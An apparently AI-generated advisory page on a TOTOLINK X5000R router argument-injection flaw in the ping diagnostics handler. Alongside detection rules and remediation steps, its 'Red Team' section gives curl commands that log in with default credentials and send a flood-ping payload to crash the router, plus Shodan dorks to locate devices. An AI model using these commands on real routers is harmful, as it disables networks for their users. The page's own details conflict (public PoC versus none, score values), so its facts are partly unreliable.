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SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-88
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-70327

CVE-2025-70327 Denial of Service in Totolink
📅 PUBLISHED: 2026-02-23 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.64%
👁️
2.64% probability
66.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: v9.1.0cu_2415_B20250515
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-70327 is an argument injection vulnerability discovered in the TOTOLINK X5000R router, specifically in firmware version v9.1.0cu_2415_B20250515. The flaw resides in the setDiagnosisCfg handler of the /usr/sbin/lighttpd web server binary. The ip parameter, retrieved via websGetVar, is passed unsanitized to a ping command executed through CsteSystem. Because the input is not validated to ensure it does not start with a hyphen (-), an authenticated remote attacker can inject arbitrary command-line options into the ping utility. This can lead to a Denial of Service (DoS) by causing excessive resource consumption or prolonged execution, effectively crashing or severely degrading the router's performance.

This vulnerability is particularly concerning as it affects a network gateway device, potentially impacting all connected clients. The vendor has not released a patch, and no public exploit code is available at this time.

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›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
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Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) - An attacker needs valid credentials to access the router's web interface.
  • User Interaction (UI): None (N) - No user interaction is required beyond the attacker's actions.
  • Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) - No data is exposed.
  • Integrity (I): None (N) - No data is modified.
  • Availability (A): High (H) - The primary impact is a complete loss of availability due to DoS.

Threat Level: High. While authentication is required, default credentials are often unchanged, and the impact is a complete denial of service for the router and all connected devices.

Deep Dive & Mechanics

The vulnerability is a classic argument injection in the setDiagnosisCfg function. The router's web interface likely provides a "Diagnostics" or "Ping Test" feature. When a user submits an IP address or hostname, the backend code constructs a command string similar to:

ping -c 4 <user_input>

The ip parameter is retrieved using websGetVar and passed directly to CsteSystem (likely a wrapper for system() or popen()). The critical flaw is the lack of input validation to check if the user-supplied string begins with a hyphen (-). This allows an attacker to inject additional command-line flags for the ping utility.

For example, the ping command has options like:

  • -f (flood): Sends packets as fast as possible, consuming bandwidth and CPU.
  • -s <size>: Sets the packet size, potentially causing memory exhaustion.
  • -i <interval>: Sets the interval between packets, which can be set to 0 for a flood.
  • -c <count>: Sets the number of packets to send; a very large number can cause prolonged execution.

By injecting these options, an attacker can cause the router to allocate excessive resources, leading to a crash or unresponsiveness.

Vulnerable Code Path (Conceptual):

void setDiagnosisCfg() {
    char ip[256];
    char cmd[512];
    websGetVar("ip", ip, sizeof(ip));
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ip);
    CsteSystem(cmd);
}

Exploitation Scenario: An attacker with valid credentials (e.g., admin/admin) sends a POST request to the vulnerable endpoint with a crafted ip parameter:

POST /goform/setDiagnosisCfg HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Cookie: ...

ip=-f -s 65500 -c 1000000

This would execute:

ping -c 4 -f -s 65500 -c 1000000

The -f flag causes a flood ping, -s 65500 sets a large packet size, and -c 1000000 sends a million packets. This will rapidly consume CPU and memory, likely crashing the router.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void setDiagnosisCfg() {
    char ip[256];
    char cmd[512];
    websGetVar("ip", ip, sizeof(ip));
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ip);
    CsteSystem(cmd);
}

Patched Code (Conceptual):

void setDiagnosisCfg() {
    char ip[256];
    char cmd[512];
    websGetVar("ip", ip, sizeof(ip));
    
    // Validate that the input does not start with a hyphen
    if (ip[0] == '-') {
        // Log error and return
        return;
    }
    
    // Additional validation: ensure only alphanumeric characters and dots
    for (int i = 0; ip[i] != '\0'; i++) {
        if (!isalnum(ip[i]) && ip[i] != '.' && ip[i] != ':') {
            return;
        }
    }
    
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", ip);
    CsteSystem(cmd);
}

The patched code adds a check to reject any input starting with a hyphen and further sanitizes the input to only allow alphanumeric characters, dots, and colons (for IPv6). This prevents argument injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A TOTOLINK X5000R router with firmware v9.1.0cu_2415_B20250515.
  • Valid credentials for the web interface (default: admin/admin).
  • Network access to the router's management interface.

Exploitation Steps:

  1. Identify the Target: Scan for TOTOLINK X5000R routers using Shodan or Nmap.

    nmap -p 80,443 --script http-title 192.168.1.0/24
    
  2. Authenticate: Obtain a valid session cookie by logging into the web interface.

    curl -c cookies.txt -X POST http://192.168.1.1/goform/login \
    -d "username=admin&password=admin"
    
  3. Craft the Payload: Create a payload that injects malicious ping options.

    # Flood ping with large packets
    payload="-f -s 65500 -c 1000000"
    
  4. Send the Exploit: Send a POST request to the vulnerable endpoint.

    curl -b cookies.txt -X POST http://192.168.1.1/goform/setDiagnosisCfg \
    -d "ip=$payload"
    
  5. Observe Impact: The router will become unresponsive due to resource exhaustion. A reboot may be required to restore functionality.

Alternative Payloads:

  • Prolonged Execution: -c 999999999 (sends a huge number of packets)
  • Resource Exhaustion: -f -s 65507 (flood with maximum packet size)

Blue Team (Defensive)

Detection:

  • Monitor for unusual HTTP POST requests to /goform/setDiagnosisCfg with parameters containing hyphens or unusual characters.
  • Monitor for high CPU usage on the router (if SNMP or logging is available).
  • Monitor for ICMP traffic spikes originating from the router.

Prevention:

  • Change default credentials immediately.
  • Restrict management interface access to trusted IPs only.
  • Implement a Web Application Firewall (WAF) to block requests with suspicious ip parameters.
  • Apply vendor patch when available.

Honeypot:

  • Deploy a TOTOLINK X5000R honeypot to capture exploitation attempts. Log all POST requests to /goform/setDiagnosisCfg.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /goform/setDiagnosisCfg with ip parameter containing hyphens (e.g., -f, -s, -c).
  • Unusual ICMP traffic from the router's IP address (high volume, large packets).
  • Router logs showing ping commands with unexpected flags.

Host IOCs (on the router):

  • High CPU and memory usage.
  • Process listing showing ping with multiple flags (e.g., ping -c 4 -f -s 65500).
  • System log entries indicating CsteSystem execution with suspicious arguments.

File IOCs:

  • No specific file IOCs, as the vulnerability is exploited in memory.

Detection Engineering

YARA Rule

rule CVE_2025_70327_TOTOLINK_X5000R_Argument_Injection {
    meta:
        description = "Detects argument injection attempts in TOTOLINK X5000R setDiagnosisCfg"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-70327"
        severity = "high"
    strings:
        $s1 = "setDiagnosisCfg" ascii wide nocase
        $s2 = "ip=" ascii wide nocase
        $s3 = "-f" ascii wide nocase
        $s4 = "-s" ascii wide nocase
        $s5 = "-c" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: TOTOLINK X5000R Argument Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/setDiagnosisCfg with suspicious ip parameter
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1190
    - cve.2025.70327
logsource:
    category: webserver
    product: totolink
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /goform/setDiagnosisCfg
        cs-uri-query|contains: "ip="
    filter:
        cs-uri-query|re: "ip=[a-zA-Z0-9.:]+$"
    condition: selection and not filter
falsepositives:
    - Legitimate ping requests to valid IP addresses
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-70327 TOTOLINK X5000R Argument Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/setDiagnosisCfg"; http_uri;
    content:"ip="; http_client_body;
    pcre:"/ip=[^a-zA-Z0-9.:]/";
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
    reference:cve,2025-70327;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Change Default Credentials: Ensure the router's admin password is strong and unique.
  2. Restrict Access: Limit management interface access to trusted IP addresses only (e.g., via firewall rules).
  3. Disable Remote Management: If not required, disable remote access to the router's web interface.
  4. Monitor Logs: Enable logging and monitor for suspicious activity.

Long-Term Fix:

  • Vendor Patch: Await an official firmware update from TOTOLINK. Contact their support to expedite.
  • Manual Workaround: If possible, modify the firmware to add input validation (requires reverse engineering and re-flashing).
  • Device Replacement: Consider replacing the router with a more secure model if no patch is forthcoming.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

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http.title:"TOTOLINK X5000R"
http.html:"TOTOLINK X5000R"
totolink x5000r login

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